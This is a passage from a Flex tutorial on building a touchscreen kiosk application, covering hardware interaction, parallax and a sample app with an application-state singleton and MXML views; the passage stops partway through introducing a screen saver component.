Bugzilla – Bug 567 ConjugateGradient returns nans for zero right-hand side Last modified: 2013-03-20 16:29:05 UTC The following code: //////////////////////////////// #include <iostream> #include "Eigen/Dense" #include "Eigen/Sparse" using namespace Eigen; using namespace std; int main() { SparseMatrix<double> A(3, 3); for (int i = 0; i < 3; ++i) A.insert(i,i) = 1.0; VectorXd b = VectorXd::Zero(3); VectorXd x = ConjugateGradient< SparseMatrix<double> >().compute( A ).solve( b ); cout << x << endl; } //////////////////////////////// produces the following output: -nan -nan -nan Reason: the CG implementation doesn't check if the initial residual is already zero and then divides by zero. I think at least some other iterative solvers suffer from the same problem. Thanks for the report. I push a fix in the devel branch changeset: a0af9c37220d user: dnuentsa date: 2013-03-20 11:22:45 summary: Handle zero right hand side in CG and GMRES affected #: 2 files Thank you, looks good! Can you also check BiCGStab, I think it has the same issue? A more subtle issue is that if a (non-zero) guess is given and it already solves the linear problem, then the same problems will happen. Thanks, The new commit address the subtle issue as well : changeset: 38b8e322e272 user: dnuentsa date: 2013-03-20 16:15:18 summary: Bug567 : Fix iterative solvers to immediately return when the initial guess is the true solution and for trivial solution affected #: 4 files Let us know if it fixes the issue.
http://eigen.tuxfamily.org/bz/show_bug.cgi?id=567
CC-MAIN-2015-06
refinedweb
243
55.47
Receiving Non-blocking C | FORTRAN-legacy | FORTRAN-2008 MPI_Iprobe Definition MPI_Iprobe is the non-blocking version of MPI_Probe. Unlike classic non-blocking operations, this routine does not work with an MPI_Request. Instead, it tells whether a message corresponding to the filters passed is waiting for reception or not, via a flag that it sets. If no such message has arrived yet, it does not wait like MPI_Probe, instead it sets the flag to false and returns. Otherwise, it sets the flag to true as well as setting the status. Copy Feedback int MPI_Iprobe(int source, int tag, MPI_Comm* communicator, int* flag, MPI_Status* status); Parameters - source - The rank of the sender, which can be MPI_ANY_SOURCE to exclude the sender’s rank from message filtering. - tag - The tag to require from the message. If no tag is required, MPI_ANY_TAG can be passed. - communicator - The communicator concerned. - flag - The variable in which store the flag indicating whether a message corresponding to the filters given (source rank, tag and communicator) is waiting reception or not. - status - The variable in which store the status corresponding to the message probed (if any), which can be MPI_STATUS_IGNORE if unused. Returned value The error code returned from the non-blocking probe. - MPI_SUCCESS - The routine successfully completed. Example Copy Feedback #include <stdio.h> #include <stdlib.h> #include <mpi.h> /** * @brief Illustrates how to probe a message in a non-blocking way. * @details This application is designed to probe a message at a moment at which * the message to receive is guaranteed not to have been arrived yet. The * MPI_Iprobe therefore informs that there is no message waiting and returns, * while an MPI_Probe would have blocked until the arrival of that message. * This application is meant to be run with 2 processes: a sender and a * receiver. **/ int main(int argc, char* argv[]) { MPI_Init(&argc, &argv); // Size of the default communicator) { // Wait for the other process to issue an MPI_Iprobe in vain MPI_Barrier(MPI_COMM_WORLD); // Send the message int buffer = 12345; printf("Process %d: sending the message containing %d.\n", my_rank, buffer); MPI_Send(&buffer, 1, MPI_INT, 1, 0, MPI_COMM_WORLD); } else { // The send has not been issued yet, this probe is vain but not blocking. int flag; MPI_Iprobe(0, 0, MPI_COMM_WORLD, &flag, MPI_STATUS_IGNORE); if(!flag) { printf("Process %d: no message arrived yet.\n", my_rank); } else { // This branching will not happen printf("Process %d: message arrived.\n", my_rank); } // Inform other MPI process that we issued the MPI_Iprobe meant to be vain MPI_Barrier(MPI_COMM_WORLD); // Actually receive the message int buffer; MPI_Recv(&buffer, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, MPI_STATUS_IGNORE); printf("Process %d: message received containing %d.\n", my_rank, buffer); } MPI_Finalize(); return EXIT_SUCCESS; }
https://www.rookiehpc.com/mpi/docs/mpi_iprobe.php
CC-MAIN-2019-43
refinedweb
437
56.15
Hello, I have two serious bug reports against cursel: #267900: cursel: ftbfs [sparc] syntax error "_Bool" #269534: cursel_0.2.2-3.1(ia64/unstable): FTBFS: bad build-depends However, the problem seems to be with another package, objc-poc: #258993: /usr/bin/objc1 is incompatible with gcc-3.3 and other problems To summarize, there is certain dependencies on gcc-2.95 in objc-poc, which cannot be resolved. I could do the following that may work around the problem: 1. Change build-depends as follows: Build-Depends: debhelper (>= 3.0), byacc, objc-poc, flex, libncurses5-dev, \ gcc-2.95 [!hppa !ia64], gcc-3.0 [hppa], gcc-2.96 [ia64] 2. Change debian/rules to force the c compiler as follows: ... C = gcc-2.95 ifeq ($(DEB_BUILD_ARCH),hppa) CC = gcc-3.0 endif ifeq ($(DEB_BUILD_ARCH),ia64) CC = gcc-2.96 endif ... But, it is insane since I will keep having bug reports. A better solution seems to have objc-poc upgraded to 3.2.6. Should I even be contemplating of MMUing it? Thanks for any suggestions/comments. Bao --
https://lists.debian.org/debian-devel/2004/11/msg00155.html
CC-MAIN-2015-40
refinedweb
179
62.54
More. The script below indicates the half-lives of the nuclides listed on the Japan Atomic Energy Agency's Nuclear Data web page. The so-called valley of stability is the diagonal region along the centre of the field of plotted data. Note that the greater the number of protons in a nucleus, the more neutrons are required to stabilize it. Stable nuclides are indicated in black and radioactive nuclides plotted in markers coloured on a logarithmic scale according to their half-lives. The input data file is halflives.txt. A certain amount of work is involved in keeping the scatter plot markers at an appropriate size as the interactive Matplotlib window is resized. The function get_marker_size achieves this by obtaining the Axes dimensions, deducing the spacing between the grid points in points (1/72") and setting the size attribute (indicating the marker area in points squared) to keep the markers at a more-or-less constant proportion of the plot area. import numpy as np import matplotlib.pyplot as plt from matplotlib.colors import Normalize from matplotlib.cm import ScalarMappable from matplotlib import ticker PTS_PER_INCH = 72 element_symbols = [ ', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og' ] def get_marker_size(ax, nx, ny): """Determine the appropriate marker size (in points-squared) for ax.""" # Get Axes width and height in pixels. bbox = ax.get_window_extent().transformed(fig.dpi_scale_trans.inverted()) width, height = bbox.width, bbox.height # Spacing between scatter point centres along the narrowest dimension. spacing = min(width, height) * PTS_PER_INCH / min(nx, ny) # Desired radius of scatter points. rref = spacing / 2 * 0.5 # Initial scatter point size (area) in pt^2. s = np.pi * rref**2 return s # Read in the data, determining the nuclide half-lives as a function of the # number of neutrons, N, and protons, Z. Stable nuclides are indicated with # -1 in the half-life field: deal with these separately from the radioactive # nuclei. halflives = {} stables = [] for line in open('halflives.txt'): line = line.rstrip() halflife = line[10:] if halflife == 'None': continue fields = line[:10].split('-') symbol = fields[0] A = int(fields[1].split()[0]) Z = int(element_symbols.index(symbol)) + 1 N = A - Z halflife = float(halflife) if halflife < 0: stables.append((N, Z)) else: halflives[(N, Z)] = halflife # Unwrap the halflives dictionary into sequences of N, Z, thalf; take the log. k, thalf = zip(*halflives.items()) N, Z = zip(*k) maxN, maxZ = 180, 120 log_thalf = np.log10(thalf) # Initial dimensions of the plot (pixels); figure resolution (dots-per-inch). w, h = 800, 900 DPI = 100 w_in, h_in = w / DPI, h / DPI # Set up the figure: one Axes object for the plot, another for the colourbar. fig, (ax, cax) = plt.subplots(1, 2, gridspec_kw={'width_ratios': [12, 1], 'wspace': 0.04}, figsize=(w_in, h_in), dpi=DPI) # Pick a colourmap and set the normalization: nuclides with half-lives of less # than 10^vmin or greater than 10^vmax secs are off-scale. cmap = plt.get_cmap('viridis_r') norm = Normalize(vmin=-10, vmax=12) colours = cmap(norm(log_thalf)) s = get_marker_size(ax, maxZ, maxN) sc1 = ax.scatter(Z, N, c=colours, s=s) # Stable nuclides are plotted in black ('k'). Nstable, Zstable = zip(*stables) sc2 = ax.scatter(Zstable, Nstable, c='k', s=s, label='stable') # Jump through the usual hoops to get a grid on both major and minor ticks # under the data. loc = ticker.MultipleLocator(base=5) ax.xaxis.set_minor_locator(loc) ax.yaxis.set_minor_locator(loc) ax.grid(which='minor', color='#dddddd') ax.grid(which='major', color='#888888', lw=1) ax.set_axisbelow(True) ax.set_xlim(0, maxZ) ax.set_ylim(0, maxN) ax.set_xlabel(r'$Z$') ax.set_ylabel(r'$N$') # Twin the y-axis to indicate the noble gas elements on the top x-axis. topax = ax.twiny() topax.set_xticks([2, 10, 18, 36, 54, 86, 118]) topax.set_xticklabels(['He', 'Ne', 'Ar', 'Kr', 'Xe', 'Rn', 'Og']) topax.set_xlim(0, maxZ) # The colourbar: label key times in appropriate units. cbar = fig.colorbar(ScalarMappable(norm=norm, cmap=cmap), cax=cax) SECS_PER_DAY = 24 * 3600 SECS_PER_YEAR = 365.2425 * SECS_PER_DAY cbar_ticks = np.log10([1.e-9, 1.e-6, 1.e-3, 1, 60, 3600, SECS_PER_DAY, SECS_PER_YEAR, 100 * SECS_PER_YEAR, 10000 * SECS_PER_YEAR]) cbar_ticklabels = ['1 ns', '1 μs', '1 ms', '1 s', '1 min', '1 hr', '1 day', '1 yr', '100 yrs', '10000 yrs'] cbar.set_ticks(cbar_ticks) cbar.set_ticklabels(cbar_ticklabels) def on_resize(event): """Callback function on interactive plot window resize.""" # Resize the scatter plot markers to keep the plot looking good. s = get_marker_size(ax, maxZ, maxN) sc1.set_sizes([s]*len(Z)) sc2.set_sizes([s]*len(stables)) # Attach the callback function to the window resize event. cid = fig.canvas.mpl_connect('resize_event', on_resize) plt.savefig('nuclide-halflifes.png', dpi=DPI) plt.show() Comments are pre-moderated. Please be patient and your comment will appear soon. Daniel J Strom 7 months, 3 weeks ago Lovely! This is an amazing demonstration of python plotting. I will use it with attribution in graduate and undergraduate education.Link | Reply christian 7 months, 3 weeks ago You're welcome to – I'm glad you found it useful!Link | Reply Christian Lindsey 4 months ago This is really nice! There is a small error because you don't account for the metastable states of some isotopes (these are the rows with an 'm' in the column). It's easy enough to add an exception to exclude these rows when you read them :-)Link | Reply New Comment
https://scipython.com/blog/plotting-nuclide-halflives/
CC-MAIN-2021-39
refinedweb
885
59.9
Exception in lineseries I'm testing a modified version of the ibtest.py with about 50 symbols. When it finally get connected and symbols go live I get an exception in lineseries.py that I'm not able to resolve: ValueError: __len__() should return >= 0 it breaks here: def __len__(self): Proxy line operation ''' return len(self.lines[0]) I have not modified any files or modules except the ibtest.py. The modification of ibtest.py is straightforward and I am able to get live data for even 20 symbols with no problem. The exception happens when I am working with higher number of symbols. I can provide the code if you're interested. I run the program with these arguments: --port 4001 --no-backfill_start --resample --timeframe Minutes --compression 1 --clientId 1111 and I connect to IB Gateway in Windows and program is running in Debug Mode python 3. - backtrader administrators A full exception trace would be a lot more useful than the selected final line, which only says that something hasn't got a length. The full trace will give hints as to where the error was triggered and not where the error finally happened.
https://community.backtrader.com/topic/109/exception-in-lineseries
CC-MAIN-2017-30
refinedweb
196
64.41
- Firebird - Uninitialized variables - Dangerous string comparison (a vulnerability) - Typos - Strange loops - Classics - Shift operators - Meaningless checks - Miscellaneous - Conclusion We are currently working on a great task of carrying out a detailed comparison of four code analyzers: CppCat, Cppcheck, PVS-Studio and Visual Studio 2013 (i.e. its built-in code analyzer). As a set of materials to base this comparison on, we decided to check at least 10 open-source projects and study the reports from all the analyzers. This is a very labor-intensive task and it is not over yet. However, we have already checked a few projects and can share some of the results with you. And that's what I'm going to do in this article. We'll start with interesting bugs we have managed to find in Firebird with the help of PVS-Studio. Firebird Firebird (FirebirdSQL) is a relational database offering many ANSI SQL standard features that runs on Linux, Windows, and a variety of Unix platforms. Firebird offers excellent concurrency, high performance, and powerful language support for stored procedures and triggers. The project website: Wikipedia article: Firebird Let's see what interesting defects PVS-Studio managed to find in this project's code. Uninitialized variables static const UCHAR* compile(const UCHAR* sdl, sdl_arg* arg) { SLONG n, count, variable, value, sdl_operator; .... switch (op) { .... case isc_sdl_add: sdl_operator = op_add; case isc_sdl_subtract: if (!sdl_operator) sdl_operator = op_subtract; ...... } V614 Uninitialized variable 'sdl_operator' used. sdl.cpp 404 I suspect that the 'break' operator was deliberately omitted between "case isc_sdl_add:" and "case isc_sdl_subtract:". This code doesn't take account of the case when we may get to the line "case isc_sdl_subtract:" right away. And if that happens, the 'sdl_operator' variable will not be initialized by then yet. Here's another similar issue. The 'fieldNode' variable may stay uninitialized if "field == false". void blb::move(....) { .... const FieldNode* fieldNode; if (field) { if ((fieldNode = ExprNode::as<FieldNode>(field))) .... } .... const USHORT id = fieldNode->fieldId; .... } V614 Potentially uninitialized pointer 'fieldNode' used. blb.cpp 1043 That is why it is not a good idea to give the same name to different variables in one function: void realign(....) { for (....) { UCHAR* p = buffer + field->fld_offset; .... for (const burp_fld* field = relation->rel_fields; field; field = field->fld_next) { .... UCHAR* p = buffer + FB_ALIGN(p - buffer, sizeof(SSHORT)); ........ } V573 Uninitialized variable 'p' was used. The variable was used to initialize itself. restore.cpp 17535 When initializing the second variable 'p', the programmer wanted to use the value of the first variable 'p'. Instead, the second variable - not initialized yet - is used. A note for the project's authors. Have a look at this fragment too: restore.cpp 17536 Dangerous string comparison (a vulnerability) Note that the result of the memcmp() function is stored in a variable of the 'SSHORT' type. 'SSHORT' is actually but a synonym of the 'short' type.; } V642 Saving the 'memcmp' function result inside the 'short' type variable is inappropriate. The significant bits could be lost breaking the program's logic. texttype.cpp 338 Wondering what's wrong here? Let me remind you that the memcmp() function returns a value of the 'int' type. In our case, the result is written into a variable of the 'short' type, so hi bits are lost. This is dangerous! The function returns the following values: less than zero, zero, or larger than zero. "Larger than zero" implies any positive number. It may be either 1 or 2 or 19472341. That's why one can't store the result of the memcmp() function in a type smaller than the 'int' type. This problem may seem farfetched. But it is actually a true vulnerability. For example, a similar bug in the MySQL code was acknowledged as a vulnerability, too: Security vulnerability in MySQL/MariaDB sql/password.c. In that case, the result was written into a variable of the 'char' type. The 'short' type is no better from the viewpoint of security. Similar dangerous comparisons were found in the following fragments: - cvt2.cpp 256 - cvt2.cpp 522 Typos Typos can be found in any code, at any time. Most of them are usually caught soon during the testing procedure. But some still survive and can be found almost in any project. int Parser::parseAux() { .... if (yyps->errflag != yyps->errflag) goto yyerrlab; .... } V501 There are identical sub-expressions to the left and to the right of the '!=' operator: yyps->errflag != yyps->errflag parse.cpp 23523 No need in comments here. And in the following fragment, Copy-Paste must have been used: bool CMP_node_match( const qli_nod* node1, const qli_nod* node2) { .... if (node1->nod_desc.dsc_dtype != node2->nod_desc.dsc_dtype || node2->nod_desc.dsc_scale != node2->nod_desc.dsc_scale || node2->nod_desc.dsc_length != node2->nod_desc.dsc_length) .... } V501 There are identical sub-expressions 'node2->nod_desc.dsc_scale' to the left and to the right of the '!=' operator. compile.cpp 156 V501 There are identical sub-expressions 'node2->nod_desc.dsc_length' to the left and to the right of the '!=' operator. compile.cpp 157 It causes an incorrect comparison of the members of the classes 'nod_desc.dsc_scale' and 'nod_desc.dsc_length' in the CMP_node_match() function. One more typo was found in the following line: compile.cpp 183 Strange loops static processing_state add_row(TEXT* tabname) { .... unsigned i = n_cols; while (--i >= 0) { if (colnumber[i] == ~0u) { bldr->remove(fbStatus, i); if (ISQL_errmsg(fbStatus)) return (SKIP); } } msg.assignRefNoIncr(bldr->getMetadata(fbStatus)); .... } V547 Expression '-- i >= 0' is always true. Unsigned type value is always >= 0. isql.cpp 3421 The 'i' variable is 'unsigned'. It means that it is always larger than or equal to 0. Because of that, the (--i >= 0) condition makes no sense as it is always true. The loop below will, on the contrary, terminate sooner as it was meant to: SLONG LockManager::queryData(....) { .... for (const srq* lock_srq = (SRQ) SRQ_ABS_PTR(data_header.srq_backward); lock_srq != &data_header; lock_srq = (SRQ) SRQ_ABS_PTR(lock_srq->srq_backward)) { const lbl* const lock = ....; CHECK(lock->lbl_series == series); data = lock->lbl_data; break; } .... } What for is there that suspicious 'break'? Another similar issue was be found in the following line: pag.cpp 217 Classics As usual, there are a lot of classic defects related to pointers, for example when a pointer is first dereferenced and then is checked for being null. It is far not always an error, but this code is still poorly-written and potentially dangerous. I will show only one example in this article; all the rest instances are listed in a special text file. int CCH_down_grade_dbb(void* ast_object) { .... SyncLockGuard bcbSync( &bcb->bcb_syncObject, SYNC_EXCLUSIVE, "CCH_down_grade_dbb"); bcb->bcb_flags &= ~BCB_exclusive; if (bcb && bcb->bcb_count) .... } V595 The 'bcb' pointer was utilized before it was verified against nullptr. Check lines: 271, 274. cch.cpp 271 At first the 'bcb' pointer is dereferenced in the expression "bcb->bcb_flags &= ....". As you can conclude from the next check, 'bcb' may be equal to zero. Check the list of other examples of this error (31 warnings in total): firebird-V595.txt Shift operators Since Firebird is built by different compilers for different platforms, there is sense in fixing shifts which may cause undefined behavior. They may well show up with very unpleasant consequences in the future. const ULONG END_BUCKET = (~0) << 1; V610 Undefined behavior. Check the shift operator '<<. The left operand '(~0)' is negative. ods.h 337 One can't shift negative numbers. To learn more on this issue, see the article "Wade not in unknown waters. Part three". This code should be rewritten in the following way: const ULONG END_BUCKET = (~0u) << 1; Here are two other shifts of that kind: - exprnodes.cpp 6185 - array.cpp 845 Meaningless checks static processing_state add_row(TEXT* tabname) { .... unsigned varLength, scale; .... scale = msg->getScale(fbStatus, i); .... if (scale < 0) .... } V547 Expression 'scale < 0' is always false. Unsigned type value is never < 0. isql.cpp 3716 The 'scale' variable is 'unsigned'. The (scale < 0) comparison is meaningless. A similar issue: isql.cpp 4437 Have a look at another function: static bool get_switches(....) .... if (**argv != 'n' || **argv != 'N') { fprintf(stderr, "-sqlda : " "Deprecated Feature: you must use XSQLDA\n "); print_switches(); return false; } .... } Command line arguments are processed incorrectly here. The (**argv != 'n' || **argv != 'N') condition is always true. Miscellaneous void FB_CARG Why::UtlInterface::getPerfCounters( ...., ISC_INT64* counters) { unsigned n = 0; .... memset(counters, 0, n * sizeof(ISC_INT64)); .... } V575 The 'memset' function processes '0' elements. Inspect the third argument. perf.cpp 487 I suspect that the programmer forgot to assign a value different from zero to the variable 'n' in the function body. The convert() function receives a string length as its third argument: ULONG convert(const ULONG srcLen, const UCHAR* src, const ULONG dstLen, UCHAR* dst, ULONG* badInputPos = NULL, bool ignoreTrailingSpaces = false); However, the function is used in an incorrect way: string IntlUtil::escapeAttribute(....) { .... ULONG l; UCHAR* uc = (UCHAR*)(&l); const ULONG uSize = cs->getConvToUnicode().convert(size, p, sizeof(uc), uc); .... } V579 The convert function receives the pointer and its size as arguments. It is possibly a mistake. Inspect the third argument. intlutil.cpp 668 We're dealing with a 64-bit error here which will show up in Win64. The 'sizeof(uc)' expression returns the pointer size, not the buffer size. It is not important if the pointer size coincides with the size of the 'unsigned long' type. It is the case when working under Linux. No troubles will occur on Win32 either. The bug will reveal itself in the Win64 version of the application. The convert() function will assume that the buffer size is 8 bytes (like the pointer size), though it is really 4 bytes. Note. Perhaps there are also other 64-bit errors in the program, but I didn't examine those diagnostics. They are boring to write about and it is not always possible to figure out if such a bug will show up or not without knowing a program's logic. The 64-bit bug described above was found in an indirect way, through general diagnostics. Conclusion Perhaps the readers are interested to know if we have managed to find anything worthy in this project with Cppcheck and VS2013. Yes, these analyzers did manage to find a few defects that PVS-Studio had missed. But they are very few. So PVS-Studio is surely in the lead for this project. You will learn more about the comparison results from the article we are going to publish quite soon. I would also like to point out that all the defects described in the article can be found with the CppCat analyzer as well. The PVS-Studio produces more warnings if you turn on the 3-rd level diagnostics (64-bit ones and so on). But, again, we would have got the same results if we had used CppCat instead of PVS-Studio. CppCat is a good tool to start improving your code every day.
http://www.viva64.com/en/b/0235/
CC-MAIN-2014-41
refinedweb
1,773
59.8
by Kevin Fauth Table of contents Created 4 May 2009 Adobe Flex makes building an incredibly rich and attractive kiosk application relatively simple. Chances are you have never had the opportunity to work on a kiosk or build one, in which case a kiosk can seem like a mystery. Flex technology, however, is behind an increasing number of kiosks and will most likely continue to grow in acceptance for this type of application. In this article I'm going to cover some basic kiosk concepts, such as working with both user-driven and timed events. I will also describe the general architecture of a kiosk application, and build a simple kiosk application to help explain the concepts. Before diving into the nitty-gritty details of building a kiosk, there are some concepts to learn that will help change your mindset from traditional application development to working with kiosks. The following list is by no means comprehensive, but should help you wrap your head around how a kiosk is put together. The machine itself Chances are, one of the reasons you became a Flex developer was because it saved you time moving the application from one platform to another. Almost gone are the days of using JavaScript to detect what version of Opera, Firefox, or Internet Explorer the user is on, and if that version supports CSS 2.x or 1.x, and so forth. Flex gives you the ability to standardize the user environment, so you no longer worry about those exceptions and instead can focus on the rich interface. This is my favorite part of kiosk development – your company usually owns the hardware, the machine itself. You get to control the processor, RAM, video card, touchscreen, printer, swiper, or anything else you can imagine. This is by far the greatest advantage of kiosk development. Of course the tighter you integrate with a Windows machine, the harder it will be to switch to a Linux or Mac machine, so I encourage you to use as many cross-platform technologies as possible, for example Java, basic JavaScript, and printer/swiper/other hardware that will work across the platforms with little change, instead of browser and platform specific ActiveX. Interacting with hardware So here's the big question: How does Flex interact with hardware? Do you need to interact with hardware at all? Some kiosk applications require a printer, a card swiper, and maybe another piece of hardware (for example a scanner on an ATM, a barcode reader on a DVD Kiosk, and so on). Interacting with the hardware isn't as complicated as it might seem though; after all you usually own it. There are a few methods for interacting with hardware, but as of right now, the only way is to tunnel your communication from Flex to another application on the kiosk's hard drive to do the dirty work for you. You can, for example, create and ActiveX or Java application that has native support for hardware interaction. The application might have to be signed (and trusted) in order to run with heightened permissioning to talk to the hardware; but as long as you have a valid Certificate Authority (CA) and signing certificate, it should be no problem. To bridge the ActiveX or Java application to Flex, I use ExternalInterface and create a hardware class in my Flex app that will take care of everything for me. Touchscreens Touchscreen development shouldn't be difficult, but if you have never worked with a touchscreen it can be a bit overwhelming. Touchscreens are just another Human Interface Device (HID) that your computer can use to determine what your users are trying to do—it's basically an expensive mouse. At the time of this writing, you can pick one up for development purposes, or even production, off of eBay for between $100 and $4000. When you set up your touchscreen device, the software drivers that come with it will include various options to configure it for your application. These may include the ability to disable right-click from a touchscreen (yes, right-click is possible), decide when a user's click action is actually performed (for example on lift or on press), and even at which processor priority level the touchscreen application should run. In my experience, I would recommend disabling right-click, configuring the click to occur on press (mouseDown), and setting the processor priority level to High to simplify the development with kiosks and touchscreens.. Parallax Parallax refers to an apparent shift in position of an object when the viewer's position changes. You have likely experienced this on older ATMs; there are physical buttons on either side of the screen, but the labels just don't seem to line up with the buttons. If you bend over or stand on tiptoes then you can line up the labels with the buttons–that's parallax in action. If you don't want your users to have to bend over to make sure they're selecting what they really want, a full understanding of this phenomenon is important when you build your kiosk. Make sure designers are aware of this as well; placing vertical buttons too close together can cause users to accidentally select the wrong button. The first thing to consider when building the application itself is also one of the easiest to overlook: allowing Flex to keep track of the application's state. The typical case for Flex development is to allow the user almost complete control of the entire process and flow of the application. While kiosk development is similar, user's sessions must be kept separate from one user to the next. And, unlike a game or other web application, kiosks are always running. It's very important to add some sort of timer to every page that is displayed in the application to make sure your kiosk's display is dynamic and rich. The timing can vary depending with the business needs of the application, or with your professional judgment as a developer. The sample application in this article uses two timers, one to wait for user input, another to kick unresponsive users out of their session on an input screen. It seems that everybody has their own way of tracking application state; here I'll use a basic singleton class. For a real-world application, you will want to embed this into your MVC architecture and other related classes. Create ApplicationState.as To get the project started, create a new Flex project and name it "My First Kiosk". Next, within the main package create a class called ApplicationState that extends EventDispatcher. The contents will look like this: package { import flash.events.Event; import flash.events.EventDispatcher; public class ApplicationState extends EventDispatcher { // events in the state public static var EVENT_STATE_CHANGE:String = "stateChange"; // "states" in the application public static var SCREEN_SAVER:Number = 0; public static var WELCOME_SCREEN:Number = 1; public static var USER_INPUT:Number = 2; public static var COUNTDOWN:Number = 99; // stores the current state of the application private var _currentState:Number; public function set currentState(val:Number):void { previousState = _currentState; _currentState = val; dispatchEvent(new Event(EVENT_STATE_CHANGE)); } [Bindable(EVENT_STATE_CHANGE)] public function get currentState():Number { return _currentState; } public var previousState:Number; // singleton work private static var _instance:ApplicationState; public static function getInstance():ApplicationState { if ( !_instance ) { _instance = new ApplicationState() } return _instance; } } } At the top of the class you will see the three states I have defined, SCREEN_SAVER, WELCOME_SCREEN, and USER_SELECT.I have them defined as Numberfor right now, but any data type will work. The variable currentStatewill store the current state of the application; no surprises there. You can get or set this value in any module of your program. Here it is set on a UI element's showevent. This class uses a setter method to set the value so it can dispatch an event whenever the user changes the state. I made the event string bindable in case any view is binding to that value and wants to update the UI. You will also notice that I'm storing the previousStateat the top of the setter. This is used mostly for the ApplicationTimerclass that I'll discuss near the end of this article. Finally you will see the details for the singleton class for the ApplicationState class. There are a few tricks to enforce a singleton class in Flex, but you will most likely be putting this into a manager class somewhere else in your MVC architecture, so I will not go into the details. Now that you have created the class that will keep track of your application's state, you need to start adding views and visual elements to the display. There are a couple different types of screens you can show at the beginning of your kiosk while it loads the modules or other pieces of the application, and it all really depends on what your business needs are. You may want to start the kiosk and let the user have immediate access to it while you download the extra modules they might not need for a few minutes. Or, you might prefer to load all of your modules before allowing the user to get started. In this case, you might also want to default your initial view to a "loading kiosk" state. In this example application, I'm going to allow the user to jump right in and start moving around. Create Welcome.mxml The first visual item I need to create is the Welcome.mxml (See Figure 1). This view will be the screen displayed while waiting for the user to click a button. I create a new Component, name it "Welcome", select VBoxas the Based On component, and set the heightand widthto 100%. Next, I set the component's horizontalAlignand verticalAlignto centerand middle, respectively. I add a label, a button, and some code to dispatch an event whenever the user clicks on the button. <?xml version="1.0" encoding="utf-8"?> <mx:VBox <mx:Metadata> [Event(name="startClicked")] </mx:Metadata> <mx:Script> <![CDATA[> Figure 1. The Welcome.mxml. Note: Using Metadatatags in the components allows you to add the events in MXML mode. In the clickhandler for my button, you can see I created a new method, onButtonClick()that will dispatch a custom event type called startClicked. While this is sufficient to dispatch an event, I added the event to the Metadatatag to ensure the event is visible when adding this component via MXML. Keep track of the application state Now that the first visual component is done, I need to let the rest of the application know that the currently visible state is now the Welcome screen. To accomplish this, I need to notify the ApplicationState class about what state change just happened. Since I'm not using any MVC for this example, I'm going to plug it into the showproperty of the component itself. It should be a relatively safe place to put it, since if it's showing, then it's in that state. In the script block, I'll get the instance of the ApplicationState singleton class, and set its currentStateequal to WELCOME_SCREEN,the static variable I defined in the ApplicationState class for the Welcome screen, whenever the showevent is fired for the component. The updated Welcome.mxml code now looks like this: <?xml version="1.0" encoding="utf-8"?> <mx:VBox <mx:Metadata> [Event(name="startClicked")] </mx:Metadata> <mx:Script> <![CDATA[ private var _applicationState:ApplicationState = ApplicationState.getInstance(); private function onShow():void { _applicationState.currentState = ApplicationState.WELCOME_SCREEN; }> Note: The button on this component is quite large; this is doneto account for parallax and user experience considerations. I have now created the ApplicationState class to keep track of the application's state and Welcome.mxml to add a visual component to the application. Now I am going to create one more visual component to prompt for a user's selection and then tie those three items together, so a very basic application can appear on the screen and function. The new component basically does everything that Welcome.mxml does, but instead of just one button, it has four. Again, you will want to integrate this into your MVC architecture and the framework you use to manage the content and your UI views. Create UserInputSelection.mxml Following the same steps for creating the Welcome.mxml file, I add the four buttons (See Figure 2). I also pass the MouseEventwith the click events in order to capture just what was selected and display a simple Alert message with the label's text in it. Since this form has multiple buttons that won't change the state of the application, I'm going to dispatch a new event called extendTimeoutin the onButtonClick()method. The main.mxml will listen for this event, which I will explain in the Time for timers section. The UserInputSelection.mxml file now looks like: <?xml version="1.0" encoding="utf-8"?> <mx:VBox <mx:Metadata> [Event(name="itemSelected")] </mx:Metadata> <mx:Script> <![CDATA[ import mx.controls.Alert;> Figure 2. Create UserInputSelection.mxml Note: Using Metadatatags in the components allows you to add the events in MXML mode. Just as I did in the Welcome.mxml file, I add clickhandlers to the button and dispatch a custom event, itemSelected. More than likely, you will want to build these buttons dynamically based off a dataset of some sort. Keep track of application state Now that the functionality of the UserInputSelection screen is created, I need to tell the ApplicationState class that the state of the application is now in the UserInputSelection screen. I use the same mechanism as in the Welcome.mxml file, except I change WELCOME_SCREENto USER_INPUT. The UserInputSelection.mxml file now looks like: <?xml version="1.0" encoding="utf-8"?> <mx:VBox <mx:Metadata> [Event(name="itemSelected")] </mx:Metadata> <mx:Script> <![CDATA[ import mx.controls.Alert; private var _applicationState:ApplicationState = ApplicationState.getInstance(); private function onShow():void { _applicationState.currentState = ApplicationState.USER_INPUT; }> I now have the ApplicationState and created two visual components, I want to tie them all together so I can see what shape my application is in as of right now. I need to integrate those components into the main.mxml application file, and a viewstackprovides the easiest way to integrate the new components into this view. Modify main.mxml Open up main.mxml, create the new ViewStackand add the children. Set the heightand widthof the ViewStackto 100%for now. I like to be able to reference the children by id, so I add an id to each new child. The main.mxml code now looks like this: <?xml version="1.0" encoding="utf-8"?> <mx:Application <mx:ViewStack <local:Welcome <local:UserInput </mx:ViewStack> </mx:Application> Running the application in its current form will only display the Welcome.mxml component. I still need to manage what gets displayed and when. Changing what is visible in the ViewStack When I first created the Welcome.mxml and UserInputSelection.mxml screens, I added event dispatching into the mix. That is now going to help me control the application as the user moves around in it. I just need to add in the listeners and code to handle that change. The component declarations will now look like: <local:Welcome <local:UserInput And the script looks like: private function onStartClicked():void { myViewStack.selectedChild = userInputScreen; } private function onItemSelected():void { // do nothing yet } The entire main.mxml file should now look like: <?xml version="1.0" encoding="utf-8"?> <mx:Application <mx:Script> <![CDATA[ private function onStartClicked():void { myViewStack.selectedChild = userInputScreen; } private function onItemSelected():void { // do nothing yet } ]]> </mx:Script> <mx:ViewStack <local:Welcome <local:UserInput </mx:ViewStack> </mx:Application> By adding the events in the Metadatatags in the custom component, I now get my custom events to appear in the mxmltags of my components, startClickedand itemSelected; these new events now invoke the onStartClicked()and onItemSelected()event handlers. When startClickedis fired from the component, onStartClicked()will run and will update the ViewStack's selected child to display the UserInput component. The onItemSelected()method does nothing for now. Running this code should now give you the Welcome screen, and clicking the button labeled "Click me to start" will now change the ViewStackto the UserInput component and display the four item buttons. There is no way to move to the previous screen in the application. When you build a kiosk for production, you will most likely want to include this capability and others, such as pop-up help. I will leave that to you to add at your discretion. I have now created the framework for a kiosk application. However, I don't want my users to get stuck at the user input screen. Moreover, if they walk away, I don't want the next user to start on that screen. So the next piece to work on is the ScreenSaver component, which will help reset application state and allow for application clean-up. While I call this next component a screen saver, it is really a 